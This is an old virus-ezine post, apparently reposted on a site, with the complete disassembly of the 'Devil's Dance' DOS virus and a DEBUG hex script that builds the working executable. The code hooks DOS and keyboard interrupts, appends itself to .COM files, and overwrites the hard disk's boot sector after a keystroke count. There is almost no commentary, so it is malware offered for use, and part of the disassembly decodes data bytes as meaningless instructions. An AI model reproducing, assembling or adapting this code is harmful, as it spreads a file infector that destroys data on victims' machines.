Copy Link
Add to Bookmark
Report

SOURCE00.006 - The Devils Dance Virus [Source/Debug Script]

eZine's profile picture
Published in 
Source
 · 25 Apr 2022

Ok, Here we have the disassembly and debug script of the Devil's Dance virus. I did NOT feel like boring myself by commenting this virus, as I wanted to get The SOURCE out. Albeit, I did use Sourcer (tm), so there are some comments already here. This virus traps interrupts 21h and 09h.

[--- Cut Here -----------------------------------------------------------------] 

data_1e equ 417h
data_2e equ 450h
data_3e equ 1 ;*
data_4e equ 0 ;*
data_5e equ 2 ;*
data_6e equ 4 ;*
data_7e equ 6 ;*
data_8e equ 8 ;*
data_9e equ 15h ;*
data_10e equ 20h ;*
data_11e equ 103h ;*
data_12e equ 0
data_13e equ 2
data_14e equ 6
data_15e equ 15h
data_16e equ 20h
psp_cmd_size equ 80h
data_17e equ 9Ah
data_18e equ 9Eh
data_32e equ 6F63h ;*
data_34e equ 0E1E4h ;*
data_39e equ 0EEF5h ;*
data_41e equ 0EFF9h ;*
data_42e equ 0F6E5h ;*
data_43e equ 64Ah
data_44e equ 870h
data_45e equ 9B0h
data_46e equ 0B40h

seg_a segment byte public
assume cs:seg_a, ds:seg_a


org 100h

DDANCE proc far

start:
jmp loc_3
db 0CDh, 20h
loc_3:
mov si,word ptr ds:[101h]
add si,103h
push si
mov cx,3
add si,offset data_27
mov di,100h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop si
call sub_1
jnc loc_4 ; Jump if carry=0
call sub_4
call sub_2
loc_4:
mov ax,100h
push ax
mov ax,cs
mov ds,ax
mov es,ax
retn

DDANCE endp

;flflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflfl
; SUBROUTINE
;‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹

sub_1 proc near
push es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
cmp byte ptr es:[bx-3],44h ; 'D'
jne loc_5 ; Jump if not equal
cmp byte ptr es:[bx-2],72h ; 'r'
jne loc_5 ; Jump if not equal
cmp byte ptr es:[bx-1],6Bh ; 'k'
pop es
clc ; Clear carry flag
retn
loc_5:
pop es
stc ; Set carry flag
retn
sub_1 endp


;flflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflfl
; SUBROUTINE
;‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹

sub_2 proc near
mov ax,4A00h
mov bx,1000h
push cs
pop ds
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
mov ax,4800h
mov bx,4Ch
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
cld ; Clear direction
mov es,ax
push si
mov bx,si
mov di,data_11e
mov cx,3ADh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov word ptr es:data_4e,103h
pop si
push ds
push es
mov ax,es
dec ax
mov es,ax
mov word ptr es:data_3e,6
pop es
mov ax,es
mov ds,ax
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_5e,bx
mov ds:data_6e,es
;* mov dx,offset loc_2 ;*
db 0BAh, 9Bh, 03h
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3509h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_7e,bx
mov ds:data_8e,es
mov word ptr ds:data_10e,0
mov byte ptr ds:data_9e,0
mov ax,2509h
;* mov dx,offset loc_1 ;*
db 0BAh,0C0h, 01h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
retn
sub_2 endp

int 3 ; Debug breakpoint
sti ; Enable interrupts
push ax
push ds
xor ax,ax ; Zero register
mov ds,ax
mov al,ds:data_1e
and al,8
cmp al,8
jne loc_6 ; Jump if not equal
jmp loc_13
loc_6:
inc word ptr cs:data_16e
cmp byte ptr cs:data_15e,1
je loc_7 ; Jump if equal
cmp word ptr cs:data_16e,0Ah
je loc_7 ; Jump if equal
jmp short loc_12
db 90h
loc_7:
push dx
push si
push bx
push es
push cx
mov si,103h
add si,222h
mov byte ptr cs:data_15e,1
mov bx,word ptr cs:[32Bh]
inc word ptr cs:[32Bh]
cmp bx,32Bh
jae loc_8 ; Jump if above or =
jmp short loc_9
loc_8:
mov word ptr cs:[32Bh],325h
mov bx,325h
loc_9:
int 11h ; Put equipment bits in ax
and al,30h ; '0'
cmp ax,30h
jne loc_10 ; Jump if not equal
mov ax,0B800h
jmp short loc_11
loc_10:
mov ax,0B800h
loc_11:
mov es,ax
mov al,cs:[bx]
push ax
mov ax,ds:data_2e
xchg ah,al
mov bl,ah
xor ah,ah ; Zero register
xor bh,bh ; Zero register
mov cx,0A0h
mul cx ; dx:ax = reg * ax
shl bx,1 ; Shift w/zeros fill
add bx,ax
inc bx
pop ax
mov es:[bx],al
pop cx
pop es
pop bx
pop si
pop dx
loc_12:
pop ds
pop ax
cli ; Disable interrupts
jmp dword ptr cs:data_14e
loc_13:
in al,60h ; port 60h, keybd scan or sw1
cmp al,53h ; 'S'
je loc_14 ; Jump if equal
pop ds
pop ax
jmp dword ptr cs:data_14e
loc_14:
int 11h ; Put equipment bits in ax
and ax,48h
cmp ax,48h
jne loc_15 ; Jump if not equal
mov ax,0B000h
jmp short loc_16
loc_15:
mov ax,0B800h
loc_16:
mov es,ax
mov ax,cs
mov ds,ax
xor di,di ; Zero register
mov ah,7
mov al,0B1h
mov cx,7D0h
rep stosw ; Rep when cx >0 Store ax to es:[di]
mov di,data_43e
mov si,331h
loc_17:
lodsb ; String [si] to al
sub al,80h
or al,al ; Zero ?
jz loc_19 ; Jump if zero
mov ah,0Fh
stosw ; Store ax to es:[di]
mov cx,0A000h

locloop_18:
add ax,1
loop locloop_18 ; Loop if cx > 0

jmp short loc_17
loc_19:
mov di,data_44e
mov si,377h
loc_20:
lodsb ; String [si] to al
sub al,80h
or al,al ; Zero ?
jz loc_22 ; Jump if zero
mov ah,0Fh
stosw ; Store ax to es:[di]
mov cx,0A000h

locloop_21:
add ax,1
loop locloop_21 ; Loop if cx > 0

jmp short loc_20
loc_22:
mov di,data_45e
mov si,offset data_25
loc_23:
lodsb ; String [si] to al
sub al,80h
or al,al ; Zero ?
jz loc_26 ; Jump if zero
mov ah,0Fh
stosw ; Store ax to es:[di]
mov cx,0A000h

locloop_24:
add ax,1
loop locloop_24 ; Loop if cx > 0

jmp short loc_23
loc_26:
mov dx,1Eh
mov cx,0Ah

locloop_27:
push cx
mov di,data_46e
push dx
shl dx,1 ; Shift w/zeros fill
add di,dx
pop dx
mov si,32Dh
loc_28:
lodsb ; String [si] to al
sub al,80h
or al,al ; Zero ?
jz loc_30 ; Jump if zero
mov ah,0Fh
stosw ; Store ax to es:[di]
mov cx,0A000h

locloop_29:
add ax,1
loop locloop_29 ; Loop if cx > 0

jmp short loc_28
loc_30:
add dx,3
pop cx
loop locloop_27 ; Loop if cx > 0

mov al,20h ; ' '
out 20h,al ; port 20h, 8259-1 int command
; al = 20h, end of interrupt
cmp word ptr cs:data_16e,1388h
jae loc_31 ; Jump if above or =
;* jmp far ptr loc_51 ;*
db 0EAh,0F0h,0FFh, 00h,0F0h
loc_31:
mov ax,0
int 13h ; Disk dl=drive ? ah=func 00h
; reset disk, al=return status
mov ax,301h
xor cx,cx ; Zero register
inc cx
xor dx,dx ; Zero register
mov dl,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
or [bp+si],cx
or cx,[si]
loc_32:
or ax,250Eh
add cx,ax
;* loopz locloop_25 ;*Loop if zf=1, cx>0

db 0E1h,0A0h
or al,0E1h
nop ;*ASM fixup - short reg form
mul ch ; ax = reg * al
mov al,ds:data_41e
cmc ; Complement carry
mov al,ds:data_42e
in ax,0F2h ; port 0F2h ??I/O Non-standard
mov al,ds:data_34e
out dx,al ; port 80h, diagnostc chkpoint
jcxz loc_32 ; Jump if cx=0
in al,0A0h ; port 0A0h ??I/O Non-standard
imul cx ; dx:ax = reg * ax
hlt ; Halt processor
call $-0B5Dh
call $-5F18h
in al,0E5h ; port 0E5h ??I/O Non-standard
imul cl ; ax = reg * al
in al,dx ; port 0, DMA-1 bas&add ch 0
mov al,ds:data_39e
in al,0E5h ; port 0E5h ??I/O Non-standard
db 0F2h,0A0h,0F4h,0E8h,0E5h,0A0h
db 0F7h,0E5h,0E1h,0EBh,0A0h,0ECh
db 0E9h,0E7h,0E8h,0F4h,0A0h,0EFh
db 0E6h,0A0h,0F4h,0E8h,0E5h,0A0h
db 0EDh,0EFh,0EFh
db 0EEh
data_24 db 0BFh
db 80h,0D0h,0F2h,0E1h,0F9h,0A0h
db 0E6h,0EFh,0F2h,0A0h,0F9h,0EFh
db 0F5h,0F2h,0A0h,0E4h,0E9h,0F3h
db 0EBh
data_25 db 0A1h
db 80h,0D4h,0E8h,0E5h,0DFh,0CAh
db 0EFh,0EBh,0E5h,0F2h,0AEh,0AEh
db 0AEh, 80h, 44h, 72h, 6Bh, 9Ch
db 3Dh, 00h
db 4Bh
data_26 db 74h
db 20h, 80h,0FCh, 49h, 74h
data_27 db 3
db 0EBh, 13h
data_28 db 90h
data_29 dw 5350h ; Data table (indexed access)
db 8Ch,0C8h, 8Ch,0C3h, 3Bh,0D8h
db 5Bh, 58h, 75h, 06h,0F8h, 8Ch
db 0C0h,0CAh, 02h, 00h
loc_37:
popf ; Pop flags
jmp dword ptr cs:data_13e
db 55h, 50h, 53h, 51h, 52h, 1Eh
db 06h, 56h, 57h,0FCh, 8Bh,0F2h
loc_39:
lodsb ; String [si] to al
or al,al ; Zero ?
jz loc_40 ; Jump if zero
jmp short loc_39
loc_40:
sub si,4
cmp byte ptr [si],43h ; 'C'
jne loc_41 ; Jump if not equal
jz loc_42 ; Jump if zero
loc_41:
cmp byte ptr [si],63h ; 'c'
jne loc_43 ; Jump if not equal
loc_42:
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
push es
push bx
push dx
push ds
push cs
pop ds
mov dx,psp_cmd_size
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
pop ds
pop dx
mov ah,4Eh ; 'N'
mov cx,23h
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov ax,cs
mov ds,ax
mov si,ds:data_12e
call sub_3
pop dx
pop ds
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
loc_43:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop bp
popf ; Pop flags
jmp dword ptr cs:data_13e

;flflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflfl
; SUBROUTINE
;‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹

sub_3 proc near
xor cx,cx ; Zero register
mov ax,4301h
mov dx,data_18e
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
mov ax,3D02h
mov dx,data_18e
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
jnc loc_44 ; Jump if carry=0
retn
loc_44:
mov ah,3Fh ; '?'
mov cx,3
mov dx,si
add dx,offset data_27
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
jnc loc_46 ; Jump if carry=0
loc_45:
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
loc_46:
mov ax,4200h
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ax,ds:data_17e
sub ax,3
mov cs:data_29[si],ax
mov dx,si
add dx,offset data_28
mov ah,40h ; '@'
mov cx,3
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jnc loc_47 ; Jump if carry=0
jmp short loc_45
loc_47:
mov ax,4202h
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,40h ; '@'
mov cx,3ADh
mov dx,si
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_3 endp


;flflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflfl
; SUBROUTINE
;‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹

sub_4 proc near
mov ah,4Eh ; 'N'
mov cx,23h
mov dx,si
add dx,offset data_26
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jnc loc_48 ; Jump if carry=0
jmp short loc_ret_49
db 90h
loc_48:
call sub_3
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_ret_49 ; Jump if carry Set
jmp short loc_48

loc_ret_49:
retn
sub_4 endp

sub ch,ds:data_32e
db 6Dh, 00h, 90h, 90h, 90h,0E9h
db 00h, 00h
db 78 dup (0)
db 'This file was downloaded from th'
db 'e Virus Exchange BBS.', 0Dh, 0Ah
db 'Phone: +359-220-4198, working ho'
db 'urs: 20:00 - 6:00 GMT.', 0Dh, 0Ah
db 'Give it a call!', 0Dh, 0Ah

seg_a ends
end start

[--- Cut Here -----------------------------------------------------------------]

n d-dance.com
e 0100 EB 03 90 CD 20 8B 36 01 01 81 C6 03 01 56 B9 03
e 0110 00 81 C6 A7 03 BF 00 01 F3 A4 5E E8 13 00 73 06
e 0120 E8 65 03 E8 2A 00 B8 00 01 50 8C C8 8E D8 8E C0
e 0130 C3 06 B8 21 35 CD 21 26 80 7F FD 44 75 0F 26 80
e 0140 7F FE 72 75 08 26 80 7F FF 6B 07 F8 C3 07 F9 C3
e 0150 B8 00 4A BB 00 10 0E 1F CD 21 B8 00 48 BB 4C 00
e 0160 CD 21 FC 8E C0 56 8B DE BF 03 01 B9 AD 03 F3 A4
e 0170 26 C7 06 00 00 03 01 5E 1E 06 8C C0 48 8E C0 26
e 0180 C7 06 01 00 06 00 07 8C C0 8E D8 B8 21 35 CD 21
e 0190 89 1E 02 00 8C 06 04 00 BA 9B 03 B8 21 25 CD 21
e 01A0 B8 09 35 CD 21 89 1E 06 00 8C 06 08 00 C7 06 20
e 01B0 00 00 00 C6 06 15 00 00 B8 09 25 BA C0 01 CD 21
e 01C0 1F C3 CC FB 50 1E 33 C0 8E D8 A0 17 04 24 08 3C
e 01D0 08 75 03 E9 83 00 2E FF 06 20 00 2E 80 3E 15 00
e 01E0 01 74 0B 2E 83 3E 20 00 0A 74 03 EB 64 90 52 56
e 01F0 53 06 51 BE 03 01 81 C6 22 02 2E C6 06 15 00 01
e 0200 2E 8B 1E 2B 03 2E FF 06 2B 03 81 FB 2B 03 73 02
e 0210 EB 0A 2E C7 06 2B 03 25 03 BB 25 03 CD 11 24 30
e 0220 3D 30 00 75 05 B8 00 B8 EB 03 B8 00 B8 8E C0 2E
e 0230 8A 07 50 A1 50 04 86 E0 8A DC 32 E4 32 FF B9 A0
e 0240 00 F7 E1 D1 E3 03 D8 43 58 26 88 07 59 07 5B 5E
e 0250 5A 1F 58 FA 2E FF 2E 06 00 E4 60 3C 53 74 07 1F
e 0260 58 2E FF 2E 06 00 CD 11 25 48 00 3D 48 00 75 05
e 0270 B8 00 B0 EB 03 B8 00 B8 8E C0 8C C8 8E D8 33 FF
e 0280 B4 07 B0 B1 B9 D0 07 F3 AB BF 4A 06 BE 31 03 AC
e 0290 2C 80 0A C0 74 0D B4 0F AB B9 00 A0 05 01 00 E2
e 02A0 FB EB EC BF 70 08 BE 77 03 AC 2C 80 0A C0 74 0D
e 02B0 B4 0F AB B9 00 A0 05 01 00 E2 FB EB EC BF B0 09
e 02C0 BE 8B 03 AC 2C 80 0A C0 74 0D B4 0F AB B9 00 A0
e 02D0 05 01 00 E2 FB EB EC BA 1E 00 B9 0A 00 51 BF 40
e 02E0 0B 52 D1 E2 03 FA 5A BE 2D 03 AC 2C 80 0A C0 74
e 02F0 0D B4 0F AB B9 00 A0 05 01 00 E2 FB EB EC 83 C2
e 0300 03 59 E2 D9 B0 20 E6 20 2E 81 3E 20 00 88 13 73
e 0310 05 EA F0 FF 00 F0 B8 00 00 CD 13 B8 01 03 33 C9
e 0320 41 33 D2 B2 80 CD 13 09 0A 0B 0C 0D 0E 25 03 C8
e 0330 E1 A0 0C E1 90 F6 E5 A0 F9 EF F5 A0 E5 F6 E5 F2
e 0340 A0 E4 E1 EE E3 E5 E4 A0 F7 E9 F4 E8 A0 F4 E8 E5
e 0350 A0 E4 E5 F6 E9 EC A0 F5 EE E4 E5 F2 A0 F4 E8 E5
e 0360 A0 F7 E5 E1 EB A0 EC E9 E7 E8 F4 A0 EF E6 A0 F4
e 0370 E8 E5 A0 ED EF EF EE BF 80 D0 F2 E1 F9 A0 E6 EF
e 0380 F2 A0 F9 EF F5 F2 A0 E4 E9 F3 EB A1 80 D4 E8 E5
e 0390 DF CA EF EB E5 F2 AE AE AE 80 44 72 6B 9C 3D 00
e 03A0 4B 74 20 80 FC 49 74 03 EB 13 90 50 53 8C C8 8C
e 03B0 C3 3B D8 5B 58 75 06 F8 8C C0 CA 02 00 9D 2E FF
e 03C0 2E 02 00 55 50 53 51 52 1E 06 56 57 FC 8B F2 AC
e 03D0 0A C0 74 02 EB F9 83 EE 04 80 3C 43 75 02 74 05
e 03E0 80 3C 63 75 2B B4 2F CD 21 06 53 52 1E 0E 1F BA
e 03F0 80 00 B4 1A CD 21 1F 5A B4 4E B9 23 00 CD 21 8C
e 0400 C8 8E D8 8B 36 00 00 E8 15 00 5A 1F B4 1A CD 21
e 0410 5F 5E 07 1F 5A 59 5B 58 5D 9D 2E FF 2E 02 00 33
e 0420 C9 B8 01 43 BA 9E 00 33 C9 CD 21 B8 02 3D BA 9E
e 0430 00 CD 21 8B D8 73 01 C3 B4 3F B9 03 00 8B D6 81
e 0440 C2 A7 03 CD 21 73 05 B4 3E CD 21 C3 B8 00 42 33
e 0450 C9 8B D1 CD 21 A1 9A 00 2D 03 00 2E 89 84 AB 03
e 0460 8B D6 81 C2 AA 03 B4 40 B9 03 00 CD 21 73 02 EB
e 0470 D6 B8 02 42 33 C9 8B D1 CD 21 B4 40 B9 AD 03 8B
e 0480 D6 CD 21 B4 3E CD 21 C3 B4 4E B9 23 00 8B D6 81
e 0490 C2 A1 03 CD 21 73 03 EB 0C 90 E8 82 FF B4 4F CD
e 04A0 21 72 02 EB F5 C3 2A 2E 63 6F 6D 00 90 90 90 E9
e 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0500 54 68 69 73 20 66 69 6C 65 20 77 61 73 20 64 6F
e 0510 77 6E 6C 6F 61 64 65 64 20 66 72 6F 6D 20 74 68
e 0520 65 20 56 69 72 75 73 20 45 78 63 68 61 6E 67 65
e 0530 20 42 42 53 2E 0D 0A 50 68 6F 6E 65 3A 20 2B 33
e 0540 35 39 2D 32 32 30 2D 34 31 39 38 2C 20 77 6F 72
e 0550 6B 69 6E 67 20 68 6F 75 72 73 3A 20 32 30 3A 30
e 0560 30 20 2D 20 36 3A 30 30 20 47 4D 54 2E 0D 0A 47
e 0570 69 76 65 20 69 74 20 61 20 63 61 6C 6C 21 0D 0A
rcx
480
w
q

[--- Cut Here -----------------------------------------------------------------]


- Havoc

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT